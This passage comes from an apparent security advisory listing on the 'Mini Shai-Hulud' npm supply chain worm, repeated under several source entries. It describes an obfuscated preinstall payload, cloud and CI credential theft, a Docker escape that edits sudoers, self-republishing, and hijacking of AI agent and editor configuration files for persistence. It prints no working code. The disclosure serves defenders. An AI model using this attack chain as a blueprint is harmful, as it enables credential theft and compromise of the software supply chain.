escape containers and modify `/etc/sudoers.d`, granting passwordless sudo to CI runner user accounts. **Self-propagation:** Uses stolen npm credentials to republish tampered tarballs of target packages. Injects a malicious CodeQL workflow into accessible GitHub repositories via the GraphQL `createCommitOnBranch` mutation, exchanges GitHub Actions OIDC tokens for npm publish tokens, and signs the resulting artifacts through Sigstore (Fulcio/Rekor) to appear legitimate. **Persistence and evasion:** Installs a daemon at `/tmp/kitty-<random>`, hijacks `.claude/settings.json` for AI agent persistence, and hijacks `.vscode/tasks.json` for editor task execution. Detects sandbox environments via `__FAKE_PLATFORM__`, `TESTING_TAR_FAKE_PLATFORM__`, and `__IS_DAEMON` environment variables, and probes for EDR tools (CrowdStrike, SentinelOne, Carbon Black, StepSecurity Harden-Runner). --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (49d8b1caef5f68000275960ce6445e14daaaaa646744a3c2223b8e9e0193f354) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Part of the "Mini Shai-Hulud" supply chain worm campaign that compromised the GitHub Actions OIDC trusted publisher shared by Red Hat Cloud Services npm packages. The attacker injected a `preinstall` hook into this and 31 other packages in the `@redhat-cloud-services` scope. The hook delivers a three-layer obfuscated payload (ROT-9 Caesar cipher over a 1.27M-entry character-code array -> AES-128-GCM decryption with hardcoded keys -> stacked obfuscator.io encoding with PBKDF2+SHA-256 keystream S-box substitution) that downloads a pinned Bun runtime (v1.3.13) from GitHub to execute the worm outside the victim's Node installation. **Credential theft:** Harvests AWS credentials (IMDS, ECS, Secrets Manager, SSM), Azure managed identities, GCP service account tokens, HashiCorp Vault tokens, Kubernetes service account tokens (`/var/run/secrets/kubernetes.io/serviceaccount/token`), GitHub PATs, npm publish tokens, environment variables from ~40 CI platforms (CircleCI, Travis CI, Jenkins, and others), password manager stores (Bitwarden, gopass), and local files (`~/.npmrc`, `~/.netrc`, shell history, database history). Collected data is exfiltrated to attacker-controlled public GitHub repositories. **Privilege escalation:** Exploits Docker socket access to escape containers and modify `/etc/sudoers.d`, granting passwordless sudo to CI runner user accounts. **Self-propagation:** Uses stolen npm credentials to republish tampered tarballs of target packages. Injects a malicious CodeQL workflow into accessible GitHub repositories via the GraphQL `createCommitOnBranch` mutation, exchanges GitHub Actions OIDC tokens for npm publish tokens, and signs the resulting artifacts through Sigstore (Fulcio/Rekor) to appear legitimate. **Persistence and evasion:** Installs a daemon at `/tmp/kitty-<random>`, hijacks `.claude/settings.json` for AI agent persistence, and hijacks `.vscode/tasks.json` for editor task execution. Detects sandbox environments via `__FAKE_PLATFORM__`, `TESTING_TAR_FAKE_PLATFORM__`, and `__IS_DAEMON` environment variables, and probes for EDR tools (CrowdStrike, SentinelOne, Carbon Black, StepSecurity Harden-Runner). --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (d57b38f79acd4ec827ef40a265c8964299448453aefa74c9fc828b110f920703) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Part of the "Mini Shai-Hulud" supply chain worm campaign that compromised the GitHub Actions OIDC trusted publisher shared by Red Hat Cloud Services npm packages. The attacker injected a `preinstall` hook into this and 31 other packages in the `@redhat-cloud-services` scope. The hook delivers a three-layer obfuscated payload (ROT-9 Caesar cipher over a 1.27M-entry character-code array -> AES-128-GCM decryption with hardcoded keys -> stacked obfuscator.io encoding with PBKDF2+SHA-256 keystream S-box substitution) that downloads a pinned Bun runtime (v1.3.13) from GitHub to execute the worm outside the victim's Node installation. **Credential theft:** Harvests AWS credentials (IMDS, ECS, Secrets Manager, SSM), Azure managed identities, GCP service account tokens, HashiCorp Vault tokens, Kubernetes service account tokens (`/var/run/secrets/kubernetes.io/serviceaccount/token`), GitHub PATs, npm publish tokens, environment variables from ~40 CI platforms (CircleCI, Travis CI, Jenkins, and others), password manager stores (Bitwarden, gopass), and local files (`~/.npmrc`, `~/.netrc`, shell history, database history). Collected data is exfiltrated to attacker-controlled public GitHub repositories. **Privilege escalation:** Exploits Docker socket access to escape containers and modify `/etc/sudoers.d`, granting passwordless sudo to CI runner user accounts. **Self-propagation:** Uses stolen npm credentials to republish tampered tarballs of target packages. Injects a malicious CodeQL workflow into accessible GitHub repositories via the GraphQL `createCommitOnBranch` mutation, exchanges GitHub Actions OIDC tokens for npm publish tokens, and signs the resulting artifacts through Sigstore (Fulcio/Rekor) to appear legitimate. **Persistence and evasion:** Installs a daemon at `/tmp/kitty-<random>`, hijacks `.claude/settings.json` for AI agent persistence, and hijacks `.vscode/tasks.json` for editor task execution. Detects sandbox environments via `__FAKE_PLATFORM__`, `TESTING_TAR_FAKE_PLATFORM__`, and `__IS_DAEMON` environment variables, and probes for EDR tools (CrowdStrike, SentinelOne, Carbon Black, StepSecurity Harden-Runner). --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (edaa4cae089339e593113bcee558fa15ea81472239c76e21019b89f46b76f204) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.